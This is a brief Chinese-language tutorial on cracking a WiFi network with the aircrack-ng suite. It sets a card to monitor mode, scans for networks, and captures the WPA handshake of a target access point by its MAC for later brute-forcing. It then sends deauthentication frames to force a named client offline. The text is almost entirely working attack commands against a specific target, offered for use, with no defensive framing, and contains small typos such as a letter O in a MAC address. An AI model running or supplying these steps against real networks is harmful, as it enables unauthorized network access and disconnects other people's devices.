wlan0mon

提示要杀掉一些进程

1.airmon-ng check kill

启动无线网卡的监听模式，这样就可以在后面的过程中监测周围的无线网络情况了

2.airmon-ng start wlan0

3.airodump-ng wlan0mon

就可以查看周围的无线网络

---

4.airodump-ng -c 11

--bssid EC:26:CA:34:OA:2C -w 4227X  wlan0mon

命令为： airodump-ng --ivs -w 包名 --bssid 目标MAC -c 信道 mon0（接口名称）-c 通道值 WiFi热点所对应的CH值

--bssid 需要破解WiFi的MAC值

-w cap保存的文件名

wlan0mon 启用混杂模式的网卡名

如果终端右上角出现WPA handshake 说明抓到了握手包，可以进行暴力破解了。

---

5.aireplay-ng -0  20

-c    64:5A:04:34:5A:0A

-a    EC:26:CA:34:OA:2C    wlanmon

-0  death模式，20为发送次数

-c 你所选择要断网操作的客户机MAC

-a WiFi热点MAC